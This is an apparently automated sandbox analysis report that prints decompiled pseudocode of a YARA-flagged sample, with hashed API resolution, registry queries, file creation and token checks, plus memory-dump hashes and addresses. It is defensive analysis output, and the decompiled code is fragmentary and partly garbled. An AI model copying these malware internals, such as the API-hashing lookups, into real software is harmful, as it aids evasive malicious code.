                                                                                                      • API String ID: 4114910276-0
                                                                                                      • Opcode ID: d1c2dcb2a1f8ff365f9feba055c13003afed043bcda7b31fb4d269ac4384018e
                                                                                                      • Instruction ID: 7cb7be95738713174b66250c924f1083c4100a47510694cf2eff53e1ce5b10ab
                                                                                                      • Opcode Fuzzy Hash: d1c2dcb2a1f8ff365f9feba055c13003afed043bcda7b31fb4d269ac4384018e
                                                                                                      • Instruction Fuzzy Hash: 9241E770284243EFF766D6EE9C60BAF76EC9B85304F208828B5E0D6198FB24C859C751
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      C-Code - Quality: 94%
                                                                                                      			E6EC457B4(void* __ecx, char* _a4, intOrPtr _a8) {
                                                                                                      				int _v16;
                                                                                                      				int _v20;
                                                                                                      				intOrPtr _t11;
                                                                                                      				int* _t12;
                                                                                                      				int _t13;
                                                                                                      				void* _t23;
                                                                                                      				char* _t35;
                                                                                                      				int* _t38;
                                                                                                      
                                                                                                      				_push(_t34);
                                                                                                      				_t23 = __ecx;
                                                                                                      				_t11 =  *((intOrPtr*)(__ecx + 4));
                                                                                                      				if(_t11 == 0 || _t11 == 0xffffffff) {
                                                                                                      					_t12 = 1;
                                                                                                      				} else {
                                                                                                      					_t12 = 0;
                                                                                                      				}
                                                                                                      				if(_t12 != 0) {
                                                                                                      					L10:
                                                                                                      					_t13 = 0;
                                                                                                      				} else {
                                                                                                      					_t35 = _a4;
                                                                                                      					if(_t35 == 0 ||  *_t35 != 0) {
                                                                                                      						_v20 = 0;
                                                                                                      						_v16 = 0;
                                                                                                      						if(E6EC43064(0x150c05fc, 0x545b7fe2) != 0) {
                                                                                                      							RegQueryValueExA( *(_t23 + 4), _t35, 0, _t38, 0,  &_v16); // executed
                                                                                                      						}
                                                                                                      						_t15 = _v16;
                                                                                                      						if(_v16 != 0) {
                                                                                                      							E6EC3F828(_a8, _t15);
                                                                                                      							if(E6EC43064(0x150c05fc, 0x545b7fe2) != 0) {
                                                                                                      								RegQueryValueExA( *(_t23 + 4), _t35, 0, _t38, E6EC3F4BC(_a8, 0),  &_v20); // executed
                                                                                                      							}
                                                                                                      							_t13 = _v20;
                                                                                                      						} else {
                                                                                                      							goto L10;
                                                                                                      						}
                                                                                                      					} else {
                                                                                                      						goto L10;
                                                                                                      					}
                                                                                                      				}
                                                                                                      				return _t13;
                                                                                                      			}











                                                                                                      0x6ec457b8
                                                                                                      0x6ec457b9
                                                                                                      0x6ec457bb
                                                                                                      0x6ec457c0
                                                                                                      0x6ec457c7
                                                                                                      0x6ec457cb
                                                                                                      0x6ec457cb
                                                                                                      0x6ec457cb
                                                                                                      0x6ec457cf
                                                                                                      0x6ec45815
                                                                                                      0x6ec45815
                                                                                                      0x6ec457d1
                                                                                                      0x6ec457d1
                                                                                                      0x6ec457d7
                                                                                                      0x6ec457e0
                                                                                                      0x6ec457e3
                                                                                                      0x6ec457fa
                                                                                                      0x6ec4580b
                                                                                                      0x6ec4580b
                                                                                                      0x6ec4580d
                                                                                                      0x6ec45813
                                                                                                      0x6ec4581e
                                                                                                      0x6ec45836
                                                                                                      0x6ec45856
                                                                                                      0x6ec45856
                                                                                                      0x6ec45858
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x00000000
                                                                                                      0x6ec457d7
                                                                                                      0x6ec45860

                                                                                                      APIs
                                                                                                      • RegQueryValueExA.KERNELBASE(?,6EC4D1F8,00000000,?,00000000,00000000,?,?,?,6EC4D1F8,?,6EC45887,?,00000000,00000000), ref: 6EC4580B
                                                                                                      • RegQueryValueExA.KERNELBASE(?,6EC4D1F8,00000000,?,00000000,00000000,00000000,00000000,?,?,?,6EC4D1F8,?,6EC45887,?,00000000), ref: 6EC45856
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.819315155.000000006EC31000.00000020.00020000.sdmp, Offset: 6EC30000, based on PE: true
                                                                                                      • Associated: 00000000.00000002.819305579.000000006EC30000.00000002.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819365349.000000006EC4A000.00000002.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819379346.000000006EC4D000.00000004.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819400491.000000006EC4F000.00000002.00020000.sdmp Download File
                                                                                                      Yara matches
                                                                                                      Similarity
                                                                                                      • API ID: QueryValue
                                                                                                      • String ID:
                                                                                                      • API String ID: 3660427363-0
                                                                                                      • Opcode ID: 1efe9e4701dbfa3cada60aee337f192807569c167ced025668ece5e7b2494b7e
                                                                                                      • Instruction ID: d7bfe2e26bac0e182044f697f2914d738db3359711ea3bf907362d55279e7274
                                                                                                      • Opcode Fuzzy Hash: 1efe9e4701dbfa3cada60aee337f192807569c167ced025668ece5e7b2494b7e
                                                                                                      • Instruction Fuzzy Hash: 7211AF3024930AEBD7119AA59C90EABBBDCEF46B58F10892DB49487149FB21E800CB61
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      C-Code - Quality: 65%
                                                                                                      			E6EC45B3C(WCHAR** __ecx, void* __edx, intOrPtr _a4, long _a8, long _a12) {
                                                                                                      				char _v24;
                                                                                                      				void* __esi;
                                                                                                      				void* _t16;
                                                                                                      				void* _t30;
                                                                                                      				long _t37;
                                                                                                      				void* _t38;
                                                                                                      				long _t39;
                                                                                                      				WCHAR** _t40;
                                                                                                      				intOrPtr* _t55;
                                                                                                      				WCHAR** _t56;
                                                                                                      				char* _t59;
                                                                                                      				long _t60;
                                                                                                      
                                                                                                      				_t56 = __ecx;
                                                                                                      				_t37 = _a8;
                                                                                                      				if(E6EC3D1CC(__ecx, 0x2f) != 0) {
                                                                                                      					_t58 = _t60;
                                                                                                      					E6EC3D6D0(__ecx, _t60);
                                                                                                      					E6EC3CFF8(_t56,  *_t60);
                                                                                                      					E6EC3CFDC(_t60);
                                                                                                      				}
                                                                                                      				if(_t37 == 0) {
                                                                                                      					_t64 = _a4 - 1;
                                                                                                      					if(_a4 != 1) {
                                                                                                      						__eflags = _a4 - 4;
                                                                                                      						_t37 = (0 | _a4 == 0x00000004) + 2;
                                                                                                      						__eflags = _t37;
                                                                                                      					} else {
                                                                                                      						_t37 = 1;
                                                                                                      					}
                                                                                                      				}
                                                                                                      				E6EC462B0(_t64);
                                                                                                      				if(_a4 > 5) {
                                                                                                      					_t58 = 0;
                                                                                                      					if(_t37 != 2) {
                                                                                                      						_t16 = 3;
                                                                                                      						__eflags = _t37 - 1;
                                                                                                      						_t38 = 0;
                                                                                                      						_t39 =  ==  ? _t16 : _t38;
                                                                                                      					} else {
                                                                                                      						_t39 = 1;
                                                                                                      					}
                                                                                                      					if(E6EC43064(0x8e844d1e, 0x458d3b35) == 0) {
                                                                                                      						_push(0);
                                                                                                      					} else {
                                                                                                      						_t30 = CreateFileW( *_t56, 0, _t39, 0, _t58, _a12, 0); // executed
                                                                                                      						_push(_t30);
                                                                                                      					}
                                                                                                      					_t40 =  &(_t56[3]);
                                                                                                      					E6EC3C26C(_t40);
                                                                                                      					if(E6EC3C280(_t40) != 0) {
                                                                                                      						_t56[2] = E6EC435F0(0);
                                                                                                      						return 0;
                                                                                                      					} else {
                                                                                                      						if(_a4 == 2) {
                                                                                                      							_t55 = E6EC43064(0x8e844d1e, 0xba53868);
                                                                                                      							__eflags = _t55;
                                                                                                      							if(_t55 != 0) {
                                                                                                      								 *_t55( *_t40, 0, 0, 2);
                                                                                                      							}
                                                                                                      						}
                                                                                                      						_t59 =  &_v24;
                                                                                                      						E6EC43698(_t59, 0xff, 8);
                                                                                                      						if(E6EC43064(0x8e844d1e, 0xc5e2981f) != 0) {
                                                                                                      							_push(_t59);
                                                                                                      							_push(_t59);
                                                                                                      							_push(0);
                                                                                                      							_push( *_t40);
                                                                                                      							asm("int3");
                                                                                                      							asm("int3");
                                                                                                      						}
                                                                                                      						return 1;
                                                                                                      					}
                                                                                                      				} else {
                                                                                                      					goto __eax;
                                                                                                      				}
                                                                                                      			}















                                                                                                      0x6ec45b43
                                                                                                      0x6ec45b45
                                                                                                      0x6ec45b52
                                                                                                      0x6ec45b56
                                                                                                      0x6ec45b5a
                                                                                                      0x6ec45b64
                                                                                                      0x6ec45b6b
                                                                                                      0x6ec45b6b
                                                                                                      0x6ec45b72
                                                                                                      0x6ec45b74
                                                                                                      0x6ec45b79
                                                                                                      0x6ec45b82
                                                                                                      0x6ec45b8a
                                                                                                      0x6ec45b8a
                                                                                                      0x6ec45b7b
                                                                                                      0x6ec45b7d
                                                                                                      0x6ec45b7d
                                                                                                      0x6ec45b79
                                                                                                      0x6ec45b8f
                                                                                                      0x6ec45b9b
                                                                                                      0x6ec45ccc
                                                                                                      0x6ec45c09
                                                                                                      0x6ec45c12
                                                                                                      0x6ec45c13
                                                                                                      0x6ec45c18
                                                                                                      0x6ec45c19
                                                                                                      0x6ec45c0b
                                                                                                      0x6ec45c0d
                                                                                                      0x6ec45c0d
                                                                                                      0x6ec45c2f
                                                                                                      0x6ec45c43
                                                                                                      0x6ec45c31
                                                                                                      0x6ec45c3e
                                                                                                      0x6ec45c40
                                                                                                      0x6ec45c40
                                                                                                      0x6ec45c45
                                                                                                      0x6ec45c4a
                                                                                                      0x6ec45c58
                                                                                                      0x6ec45cc3
                                                                                                      0x00000000
                                                                                                      0x6ec45c5a
                                                                                                      0x6ec45c5f
                                                                                                      0x6ec45cac
                                                                                                      0x6ec45cae
                                                                                                      0x6ec45cb0
                                                                                                      0x6ec45cba
                                                                                                      0x6ec45cba
                                                                                                      0x6ec45cb0
                                                                                                      0x6ec45c61
                                                                                                      0x6ec45c6d
                                                                                                      0x6ec45c86
                                                                                                      0x6ec45c88
                                                                                                      0x6ec45c89
                                                                                                      0x6ec45c8a
                                                                                                      0x6ec45c8c
                                                                                                      0x6ec45c8e
                                                                                                      0x6ec45c8f
                                                                                                      0x6ec45c8f
                                                                                                      0x00000000
                                                                                                      0x6ec45c92
                                                                                                      0x6ec45ba1
                                                                                                      0x6ec45bb1
                                                                                                      0x6ec45bb1

                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.819315155.000000006EC31000.00000020.00020000.sdmp, Offset: 6EC30000, based on PE: true
                                                                                                      • Associated: 00000000.00000002.819305579.000000006EC30000.00000002.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819365349.000000006EC4A000.00000002.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819379346.000000006EC4D000.00000004.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819400491.000000006EC4F000.00000002.00020000.sdmp Download File
                                                                                                      Yara matches
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 77d8cbfef3bf44c59f057adf32a68c827c37fd55a2f88ab1fb008491df83d4a6
                                                                                                      • Instruction ID: f684772598d4a2b736e35023a0dbfe058e6c413394c980de7ee0ed791c70c0ac
                                                                                                      • Opcode Fuzzy Hash: 77d8cbfef3bf44c59f057adf32a68c827c37fd55a2f88ab1fb008491df83d4a6
                                                                                                      • Instruction Fuzzy Hash: 9331273034431AFFE7512AFA4D94F6F769DEFC9648F104838F9519A189FE219814C661
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      C-Code - Quality: 37%
                                                                                                      			_entry_(void* __eflags, intOrPtr _a4) {
                                                                                                      				intOrPtr _v20;
                                                                                                      				intOrPtr _v24;
                                                                                                      				intOrPtr _v28;
                                                                                                      				intOrPtr _v32;
                                                                                                      				int _v36;
                                                                                                      				long _v40;
                                                                                                      				intOrPtr _v44;
                                                                                                      				long _v48;
                                                                                                      				intOrPtr _v52;
                                                                                                      				intOrPtr _v56;
                                                                                                      				void* __ebx;
                                                                                                      				void* __edi;
                                                                                                      				void* __esi;
                                                                                                      				void* __ebp;
                                                                                                      				intOrPtr _t27;
                                                                                                      				intOrPtr _t29;
                                                                                                      				intOrPtr _t31;
                                                                                                      				intOrPtr _t32;
                                                                                                      				int _t40;
                                                                                                      				intOrPtr _t46;
                                                                                                      				long _t53;
                                                                                                      				long _t55;
                                                                                                      				intOrPtr* _t56;
                                                                                                      
                                                                                                      				_t57 = __eflags;
                                                                                                      				_t27 = _a4;
                                                                                                      				 *_t56 = _t27;
                                                                                                      				_v20 = _t27;
                                                                                                      				_v24 = E00AF1ED2(__eflags);
                                                                                                      				_t29 = E00AF180B(_t57);
                                                                                                      				_v28 = _t29;
                                                                                                      				if(_t29 != 0) {
                                                                                                      					 *_t56 = _v28;
                                                                                                      					_t46 =  *((intOrPtr*)(_v20 + 0x40))();
                                                                                                      					_t56 = _t56 - 4;
                                                                                                      					_v32 = _t46;
                                                                                                      				}
                                                                                                      				 *_t56 = _v20;
                                                                                                      				_t31 = E00AF200F();
                                                                                                      				 *_t56 = _v20;
                                                                                                      				_v52 = _t31;
                                                                                                      				_t32 = E00AF1000(); // executed
                                                                                                      				_t53 =  *((intOrPtr*)(_v20 + 0x28));
                                                                                                      				_t55 =  *((intOrPtr*)(_t53 + 0x3c));
                                                                                                      				_t54 = _t55;
                                                                                                      				_t47 = _t53;
                                                                                                      				_v56 = _t32;
                                                                                                      				_v44 = _t53;
                                                                                                      				_v40 = _t55;
                                                                                                      				_v48 = _t53;
                                                                                                      				if(_t55 != 0) {
                                                                                                      					_v48 = _v44 + (_v40 + 0x0000ffff & 0x0000ffff) + 1;
                                                                                                      				}
                                                                                                      				if( *((short*)(_v48 + 0x5c)) != 3) {
                                                                                                      					_t40 = FreeConsole(); // executed
                                                                                                      					_v36 = _t40;
                                                                                                      				}
                                                                                                      				 *_t56 = _v20;
                                                                                                      				E00AF16D7();
                                                                                                      				 *_t56 = _v20; // executed
                                                                                                      				E00AF2092(_t47, _t54, _t55); // executed
                                                                                                      				return 0;
                                                                                                      			}


























                                                                                                      0x00af26aa
                                                                                                      0x00af26b3
                                                                                                      0x00af26b6
                                                                                                      0x00af26b9
                                                                                                      0x00af26c1
                                                                                                      0x00af26c4
                                                                                                      0x00af26cc
                                                                                                      0x00af26cf
                                                                                                      0x00af26d4
                                                                                                      0x00af26da
                                                                                                      0x00af26dd
                                                                                                      0x00af26e0
                                                                                                      0x00af26e0
                                                                                                      0x00af270e
                                                                                                      0x00af2711
                                                                                                      0x00af2719
                                                                                                      0x00af271c
                                                                                                      0x00af271f
                                                                                                      0x00af2727
                                                                                                      0x00af272a
                                                                                                      0x00af272d
                                                                                                      0x00af2734
                                                                                                      0x00af2736
                                                                                                      0x00af2739
                                                                                                      0x00af273c
                                                                                                      0x00af273f
                                                                                                      0x00af2742
                                                                                                      0x00af2706
                                                                                                      0x00af2706
                                                                                                      0x00af276e
                                                                                                      0x00af26ea
                                                                                                      0x00af26ec
                                                                                                      0x00af26ec
                                                                                                      0x00af2749
                                                                                                      0x00af274c
                                                                                                      0x00af2754
                                                                                                      0x00af2757
                                                                                                      0x00af2765

                                                                                                      APIs
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.818558490.0000000000AF0000.00000040.00000001.sdmp, Offset: 00AF0000, based on PE: true
                                                                                                      Similarity
                                                                                                      • API ID: ConsoleFree
                                                                                                      • String ID:
                                                                                                      • API String ID: 771614528-0
                                                                                                      • Opcode ID: f814b77f847a24d2f39706915e8ab57c866387be9a648368df3a3da79634d81b
                                                                                                      • Instruction ID: f4badf469b5c8f98fa57804a3816734686bdf1d18612c0c91cdbbf447d66b584
                                                                                                      • Opcode Fuzzy Hash: f814b77f847a24d2f39706915e8ab57c866387be9a648368df3a3da79634d81b
                                                                                                      • Instruction Fuzzy Hash: 0721C5B5D0421A8BCB00EFE9C995ABEBBF0FF08310F144829E646A7341E7359980CF51
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      C-Code - Quality: 100%
                                                                                                      			E6EC41166(intOrPtr* __eax, void* __ebx, void* __ecx) {
                                                                                                      				void* _t20;
                                                                                                      
                                                                                                      				 *__eax =  *__eax + __eax;
                                                                                                      				 *((intOrPtr*)(_t20 + 0x50182444)) =  *((intOrPtr*)(_t20 + 0x50182444)) + __ecx;
                                                                                                      			}




                                                                                                      0x6ec41168
                                                                                                      0x6ec4116a

                                                                                                      APIs
                                                                                                      • GetTokenInformation.KERNELBASE(?,00000019,00000000,00000000,00000000,150C05FC,150C05FC,00000000,00000000,150C05FC,150C05FC,150C05FC,150C05FC), ref: 6EC4117B
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.819315155.000000006EC31000.00000020.00020000.sdmp, Offset: 6EC30000, based on PE: true
                                                                                                      • Associated: 00000000.00000002.819305579.000000006EC30000.00000002.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819365349.000000006EC4A000.00000002.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819379346.000000006EC4D000.00000004.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819400491.000000006EC4F000.00000002.00020000.sdmp Download File
                                                                                                      Yara matches
                                                                                                      Similarity
                                                                                                      • API ID: InformationToken
                                                                                                      • String ID:
                                                                                                      • API String ID: 4114910276-0
                                                                                                      • Opcode ID: 4e60499eb3937ce800b1e92059161a74b54ecbb4c80258928a3e6af30130b065
                                                                                                      • Instruction ID: 3100bf0952260c648621333e2d5fc0c69170a962f89bd00d16e659eb8842bc24
                                                                                                      • Opcode Fuzzy Hash: 4e60499eb3937ce800b1e92059161a74b54ecbb4c80258928a3e6af30130b065
                                                                                                      • Instruction Fuzzy Hash: 47110D70604283DAFB7685ED9870BAF76589F82300F104865E8F0D60E8FA14CC69C651
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      C-Code - Quality: 51%
                                                                                                      			E6EC45BE5(void* __ecx, void* __edx, WCHAR** __edi, void* _a4, void* _a32, long _a44) {
                                                                                                      				void* _t7;
                                                                                                      				void* _t12;
                                                                                                      				void* _t20;
                                                                                                      				void* _t21;
                                                                                                      				void* _t22;
                                                                                                      				long _t23;
                                                                                                      				WCHAR** _t24;
                                                                                                      				intOrPtr* _t32;
                                                                                                      				WCHAR** _t33;
                                                                                                      				long _t37;
                                                                                                      				void* _t39;
                                                                                                      				void* _t40;
                                                                                                      
                                                                                                      				_t33 = __edi;
                                                                                                      				if(__edx != 0) {
                                                                                                      					_t37 = 3;
                                                                                                      					if(_t21 != 2) {
                                                                                                      						_t7 = 3;
                                                                                                      						_t22 = 0;
                                                                                                      						_t23 =  ==  ? _t7 : _t22;
                                                                                                      					} else {
                                                                                                      						_t23 = 1;
                                                                                                      					}
                                                                                                      					if(E6EC43064(0x8e844d1e, 0x458d3b35) == 0) {
                                                                                                      						_push(0);
                                                                                                      					} else {
                                                                                                      						_t20 = CreateFileW( *_t33, 0x80000000, _t23, 0, _t37, _a44, 0); // executed
                                                                                                      						_push(_t20);
                                                                                                      					}
                                                                                                      					_t24 =  &(_t33[3]);
                                                                                                      					E6EC3C26C(_t24);
                                                                                                      					if(E6EC3C280(_t24) != 0) {
                                                                                                      						_t33[2] = E6EC435F0(0x80000000);
                                                                                                      						_t12 = 0;
                                                                                                      					} else {
                                                                                                      						if( *((intOrPtr*)(_t40 + 0x24)) == 2) {
                                                                                                      							_t32 = E6EC43064(0x8e844d1e, 0xba53868);
                                                                                                      							if(_t32 != 0) {
                                                                                                      								 *_t32( *_t24, 0, 0, 2);
                                                                                                      							}
                                                                                                      						}
                                                                                                      						_t39 = _t40 + 8;
                                                                                                      						E6EC43698(_t39, 0xff, 8);
                                                                                                      						_t40 = _t40 + 0xc;
                                                                                                      						if(E6EC43064(0x8e844d1e, 0xc5e2981f) != 0) {
                                                                                                      							_push(_t39);
                                                                                                      							_push(_t39);
                                                                                                      							_push(0);
                                                                                                      							_push( *_t24);
                                                                                                      							asm("int3");
                                                                                                      							asm("int3");
                                                                                                      						}
                                                                                                      						_t12 = 1;
                                                                                                      					}
                                                                                                      				} else {
                                                                                                      					__edi[2] = 2;
                                                                                                      					_t12 = 0;
                                                                                                      				}
                                                                                                      				return _t12;
                                                                                                      			}















                                                                                                      0x6ec45be5
                                                                                                      0x6ec45be7
                                                                                                      0x6ec45bfe
                                                                                                      0x6ec45c09
                                                                                                      0x6ec45c12
                                                                                                      0x6ec45c18
                                                                                                      0x6ec45c19
                                                                                                      0x6ec45c0b
                                                                                                      0x6ec45c0d
                                                                                                      0x6ec45c0d
                                                                                                      0x6ec45c2f
                                                                                                      0x6ec45c43
                                                                                                      0x6ec45c31
                                                                                                      0x6ec45c3e
                                                                                                      0x6ec45c40
                                                                                                      0x6ec45c40
                                                                                                      0x6ec45c45
                                                                                                      0x6ec45c4a
                                                                                                      0x6ec45c58
                                                                                                      0x6ec45cc3
                                                                                                      0x6ec45cc6
                                                                                                      0x6ec45c5a
                                                                                                      0x6ec45c5f
                                                                                                      0x6ec45cac
                                                                                                      0x6ec45cb0
                                                                                                      0x6ec45cba
                                                                                                      0x6ec45cba
                                                                                                      0x6ec45cb0
                                                                                                      0x6ec45c61
                                                                                                      0x6ec45c6d
                                                                                                      0x6ec45c72
                                                                                                      0x6ec45c86
                                                                                                      0x6ec45c88
                                                                                                      0x6ec45c89
                                                                                                      0x6ec45c8a
                                                                                                      0x6ec45c8c
                                                                                                      0x6ec45c8e
                                                                                                      0x6ec45c8f
                                                                                                      0x6ec45c8f
                                                                                                      0x6ec45c92
                                                                                                      0x6ec45c92
                                                                                                      0x6ec45be9
                                                                                                      0x6ec45be9
                                                                                                      0x6ec45bf0
                                                                                                      0x6ec45bf0
                                                                                                      0x6ec45c9a

                                                                                                      APIs
                                                                                                      • CreateFileW.KERNELBASE(?,00000000,00000000,00000000,00000000,?,00000000,8E844D1E,458D3B35), ref: 6EC45C3E
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.819315155.000000006EC31000.00000020.00020000.sdmp, Offset: 6EC30000, based on PE: true
                                                                                                      • Associated: 00000000.00000002.819305579.000000006EC30000.00000002.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819365349.000000006EC4A000.00000002.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819379346.000000006EC4D000.00000004.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819400491.000000006EC4F000.00000002.00020000.sdmp Download File
                                                                                                      Yara matches
                                                                                                      Similarity
                                                                                                      • API ID: CreateFile
                                                                                                      • String ID:
                                                                                                      • API String ID: 823142352-0
                                                                                                      • Opcode ID: c46e35028ef516b2a6bafbb4d93dcee3a2ebb779e0ca04dcf25d6f0dd780b036
                                                                                                      • Instruction ID: 8e5c3fae53bd5f072cc5f04e3555818ef5d22c94e6308b1bd790c65b9237cdd7
                                                                                                      • Opcode Fuzzy Hash: c46e35028ef516b2a6bafbb4d93dcee3a2ebb779e0ca04dcf25d6f0dd780b036
                                                                                                      • Instruction Fuzzy Hash: 8A01457128420AFEFB9026EA4C44F7B774DEF86648F108835BA02A5189FF22A458C260
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      C-Code - Quality: 50%
                                                                                                      			E6EC45BBD(void* __ebx, void* __ecx, void* __edx, WCHAR** __edi, void* _a4, void* _a32, long _a44) {
                                                                                                      				void* _t7;
                                                                                                      				void* _t12;
                                                                                                      				void* _t20;
                                                                                                      				void* _t22;
                                                                                                      				long _t23;
                                                                                                      				WCHAR** _t24;
                                                                                                      				void* _t31;
                                                                                                      				intOrPtr* _t33;
                                                                                                      				WCHAR** _t34;
                                                                                                      				void* _t38;
                                                                                                      				long _t39;
                                                                                                      				void* _t41;
                                                                                                      				void* _t42;
                                                                                                      
                                                                                                      				_t34 = __edi;
                                                                                                      				_t31 = 5;
                                                                                                      				_t38 = 2;
                                                                                                      				_t39 =  !=  ? _t31 : _t38;
                                                                                                      				if(__ebx != 2) {
                                                                                                      					_t7 = 3;
                                                                                                      					_t22 = 0;
                                                                                                      					_t23 =  ==  ? _t7 : _t22;
                                                                                                      				} else {
                                                                                                      					_t23 = 1;
                                                                                                      				}
                                                                                                      				if(E6EC43064(0x8e844d1e, 0x458d3b35) == 0) {
                                                                                                      					_push(0);
                                                                                                      				} else {
                                                                                                      					_t20 = CreateFileW( *_t34, 0xc0000000, _t23, 0, _t39, _a44, 0); // executed
                                                                                                      					_push(_t20);
                                                                                                      				}
                                                                                                      				_t24 =  &(_t34[3]);
                                                                                                      				E6EC3C26C(_t24);
                                                                                                      				if(E6EC3C280(_t24) != 0) {
                                                                                                      					_t34[2] = E6EC435F0(0xc0000000);
                                                                                                      					_t12 = 0;
                                                                                                      				} else {
                                                                                                      					if( *((intOrPtr*)(_t42 + 0x24)) == 2) {
                                                                                                      						_t33 = E6EC43064(0x8e844d1e, 0xba53868);
                                                                                                      						if(_t33 != 0) {
                                                                                                      							 *_t33( *_t24, 0, 0, 2);
                                                                                                      						}
                                                                                                      					}
                                                                                                      					_t41 = _t42 + 8;
                                                                                                      					E6EC43698(_t41, 0xff, 8);
                                                                                                      					_t42 = _t42 + 0xc;
                                                                                                      					if(E6EC43064(0x8e844d1e, 0xc5e2981f) != 0) {
                                                                                                      						_push(_t41);
                                                                                                      						_push(_t41);
                                                                                                      						_push(0);
                                                                                                      						_push( *_t24);
                                                                                                      						asm("int3");
                                                                                                      						asm("int3");
                                                                                                      					}
                                                                                                      					_t12 = 1;
                                                                                                      				}
                                                                                                      				return _t12;
                                                                                                      			}
















                                                                                                      0x6ec45bbd
                                                                                                      0x6ec45bc1
                                                                                                      0x6ec45bc4
                                                                                                      0x6ec45bc7
                                                                                                      0x6ec45c09
                                                                                                      0x6ec45c12
                                                                                                      0x6ec45c18
                                                                                                      0x6ec45c19
                                                                                                      0x6ec45c0b
                                                                                                      0x6ec45c0d
                                                                                                      0x6ec45c0d
                                                                                                      0x6ec45c2f
                                                                                                      0x6ec45c43
                                                                                                      0x6ec45c31
                                                                                                      0x6ec45c3e
                                                                                                      0x6ec45c40
                                                                                                      0x6ec45c40
                                                                                                      0x6ec45c45
                                                                                                      0x6ec45c4a
                                                                                                      0x6ec45c58
                                                                                                      0x6ec45cc3
                                                                                                      0x6ec45cc6
                                                                                                      0x6ec45c5a
                                                                                                      0x6ec45c5f
                                                                                                      0x6ec45cac
                                                                                                      0x6ec45cb0
                                                                                                      0x6ec45cba
                                                                                                      0x6ec45cba
                                                                                                      0x6ec45cb0
                                                                                                      0x6ec45c61
                                                                                                      0x6ec45c6d
                                                                                                      0x6ec45c72
                                                                                                      0x6ec45c86
                                                                                                      0x6ec45c88
                                                                                                      0x6ec45c89
                                                                                                      0x6ec45c8a
                                                                                                      0x6ec45c8c
                                                                                                      0x6ec45c8e
                                                                                                      0x6ec45c8f
                                                                                                      0x6ec45c8f
                                                                                                      0x6ec45c92
                                                                                                      0x6ec45c92
                                                                                                      0x6ec45c9a

                                                                                                      APIs
                                                                                                      • CreateFileW.KERNELBASE(?,00000000,00000000,00000000,00000000,?,00000000,8E844D1E,458D3B35), ref: 6EC45C3E
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.819315155.000000006EC31000.00000020.00020000.sdmp, Offset: 6EC30000, based on PE: true
                                                                                                      • Associated: 00000000.00000002.819305579.000000006EC30000.00000002.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819365349.000000006EC4A000.00000002.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819379346.000000006EC4D000.00000004.00020000.sdmp Download File
                                                                                                      • Associated: 00000000.00000002.819400491.000000006EC4F000.00000002.00020000.sdmp Download File
                                                                                                      Yara matches
                                                                                                      Similarity
                                                                                                      • API ID: CreateFile
                                                                                                      • String ID:
                                                                                                      • API String ID: 823142352-0
                                                                                                      • Opcode ID: a124f905a7b88adf81c00bd5bc08d6d83bbaf871b5730aa4a2b761ba493ce728
                                                                                                      • Instruction ID: bdced85ee33739b230ceb7906e37b0a4647f75200d89940b1bb6e54f670bbbe1
                                                                                                      • Opcode Fuzzy Hash: a124f905a7b88adf81c00bd5bc08d6d83bbaf871b5730aa4a2b761ba493ce728
                                                                                                      • Instruction Fuzzy Hash: 6A01283138431AFEFB5026E95D45F7B778DDFC6658F108835BA01651C9FE126855C131
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      C-Code - Quality: 45%
                                                                                                      			E6EC45BD1(void* __ebx, void* __ecx, void* __edx, WCHAR** __edi, void* _a4, void* _a32, long _a44) {
                                                                                                      				void* _t7;
                                                                                                      				void* _t12;
                                                                                                      				void* _t20;
                                                                                                      				void* _t22;
                                                                                                      				long _t23;
                                                                                                      				WCHAR** _t24;
                                                                                                      				intOrPtr* _t33;
                                                                                                      				WCHAR** _t34;
                                                                                                      				long _t38;
                                                                                                      				void* _t40;
                                                                                                      				void* _t41;
                                                                                                      
                                                                                                      				_t34 = __edi;
                                                                                                      				_t38 = 2;
                                                                                                      				asm("adc ebp, 0x0");
                                                                                                      				if(__ebx != 2) {
                                                                                                      					_t7 = 3;
                                                                                                      					_t22 = 0;
                                                                                                      					_t23 =  ==  ? _t7 : _t22;
                                                                                                      				} else {
                                                                                                      					_t23 = 1;
                                                                                                      				}
                                                                                                      				if(E6EC43064(0x8e844d1e, 0x458d3b35) == 0) {
                                                                                                      					_push(0);
                                                                                                      				} else {
                                                                                                      					_t20 = CreateFileW( *_t34, 0xc0000000, _t23, 0, _t38, _a44, 0); // executed
                                                                                                      					_push(_t20);
                                                                                                      				}
                                                                                                      				_t24 =  &(_t34[3]);
                                                                                                      				E6EC3C26C(_t24);
                                                                                                      				if(E6EC3C280(_t24) != 0) {
